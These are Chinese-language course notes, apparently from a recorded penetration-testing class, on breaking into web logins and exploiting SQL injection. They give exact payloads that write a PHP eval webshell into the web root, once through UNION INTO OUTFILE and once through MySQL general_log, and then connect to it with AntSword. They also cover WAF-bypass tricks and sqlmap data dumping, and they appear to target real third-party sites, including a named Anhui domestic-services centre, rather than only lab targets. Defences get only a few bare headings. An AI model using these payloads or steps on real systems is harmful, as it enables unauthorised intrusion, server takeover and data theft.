目录
0 录制文件
录制:的快速会议
日期:2025-07-03 14:54:01
录制文件:https://meeting.tencent.com/crm/2Oo1GMPmd8
1 小妖网站
1.1 后台登录框
一般先尝试弱口令,比如,admin,123456
抓取一下报文
发现密码被加密了
1.2 发送到攻击器,只对用户名进行检测
依然是看长度排序
发现只有admin用户确认是存在的
1.3 再看密码
在网页源码查看将密码将的js代码
每次访问的时候加密key都不一样
这里是双层加密
攻击器也能对密码加密
但是intruder无法获得随机数进行拼接
只能自己写一个加密脚本
1.4 if请求
发现有一条指令可以跳转到后台
去拼接看看等不能通过构造直接进入后台
进入burp,将code值改为1后,看看能不能进入后台,是否有逻辑缺陷漏洞
标黄是插件作用
如果有斜杠,需要吧下面的带编码的选项取消一下
1.5 测试注入
依然是在用户名或者密码后面添加单引号
然后抓包
再repeater模块自己构造
添加单引号之后有报错,但是没有详细语法报错,说明无法用报错注入
添加两个单引号就没报错了
1.6 注释 判断闭合
发现有报错
然后添加一个括号,发现没有报错了
说明有一个括号
1.7 bool盲注
and0 and1
发现可以用bool
1.8 获取库名
去intruder模块遍历一下
对长度排序
获取到库名yx_admin
第三个字母没有写,就把字典不全一下,然后再攻击一次
1.9 总结
国内网站一般获取到库名就好了
2 注入实例
2.1 添加参数
参数需要自己手动添加到my.ini文件
添加之后重启musql服务
这是修改mysql读写权限,让他可以进行任意文件读写
2.2 sql注入写一句话木马
写入条件(看录播转写)
1,secure_file_priv参数允许对网站根目录进行读写
2,select语句需要单独执行(union/堆叠)
3,需要知道网站根目录
4,mysql用户具有文件的读写权限
id=1' union select 1,2,"<?php @eval($_POST[1]);?>" into outfile "D:/phpStudy/PHPTutorial/WWW/1.php"--+
写入方式:用union写入就行(联合查询union)
一般root权限就可以
2.3 sqli第8关
虽然没有显示位,不耽误使用联合查询,只是不显示东西
先判断列数:3列
然后直接使用联合查询
这里不是为了显示位,而是为了把查询结果写入网站根目录
物理路径需要去猜
反斜杠需要改成斜杠,反斜杠代表转义字符
2.4 蚁剑连接
执行之后用奕剑连接一下
发现可以连接成功
2.5 通过日志写一句话木马
需要用到phpmyadmin(网页版的数据库管理系统)
三部曲
1. General_log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
2. General_log_file 指的是日志的保存路径。
可以通过将一句话木马写入mysql日志中然后移动mysql日志路径到网站目录下实现getshell
执行sql语句
SHOW VARIABLES LIKE 'general_log%' 进行模糊查询
set global general_log = "ON"; #开启日志
SET global general_log_file='G:/phpstudy2016/WWW/1.php'; #更换日志路径
然后执行特殊的查询语句
select '<?php @eval($_POST[cmd]);?>'
反斜杠写成斜杠
没有选择任何数据库,查询结果为空
然后去查询一句话木马,执行完之后就写入了根目录下
然后通过蚁剑去连接
3 waf绕过
3.1 大小写绕过
服务端没有开启大小写敏感
3.2 多重关键字绕过
3.3 编码绕过
3.4 注释绕过
3.5 等价函数绕过
3.6 特殊字符绕过
3.7 组合绕过
3.8 sqli-labs靶场
25关之后基本都是waf绕过
25关实例
3.9 判断注入点
两个单引号正常显示,字符型
注释之后正常返回,没有括号
3.10 先考虑联合查询
order by 4变成了其他的,or被过滤了
先把or进行大小写回显,没成功
在进行双写,成功绕过
order by 3正常显示
3.11 判断显示位
注意改为-1
3.12 进行数据表查询
information也需要对or双写
3.13 字段查询
还需要指定字段属于哪个表
and也双写一下
对比页面的关键字,来验证能不能用,1=0 1=1
4 sql注入防御
4.1 函数
4.2 转义特殊符号
4.3 正则表达式过滤
4.4 参数化查询
某些情况下无法进行预编译
比如:order by进行排序时,需要手动指定第几列
5 网站防火墙绕过方法
25-30关
安徽省巾帼家政服务中心
原理就是等价替换
5.1 先添加单引号
提交参数不合法
如果字符型且单双引号都不可使用,就可以说再见了
假设是数字型注入,/1 /0 发现确实是数字型
5.2 注释
注释以后发现没有括号
5.3 除法
5.4 and1=1
database()可以用
rlike可以用
5.5 函数
5.6 bool盲注
遇到拦截,转ascii
转成ascii,发现没有拦截了
5.7 抓包
跑一下数据库名
对照ascii值,97-122
得到库名
6 sqlmap
会进行自动化探测
抓取报文,保存到txt文本
保存到sqlmap目录下
然后用-r参数检查,回车回车
当注入点在后台,需要指定cookee
可以绕过waf
有自带脚本
获取mysql中所有的库名
dbs
6.1 一般参数执行
先检查注入点
-u或者-r
获取当前数据库
再获取库下面的表名
获取字段名
打印数据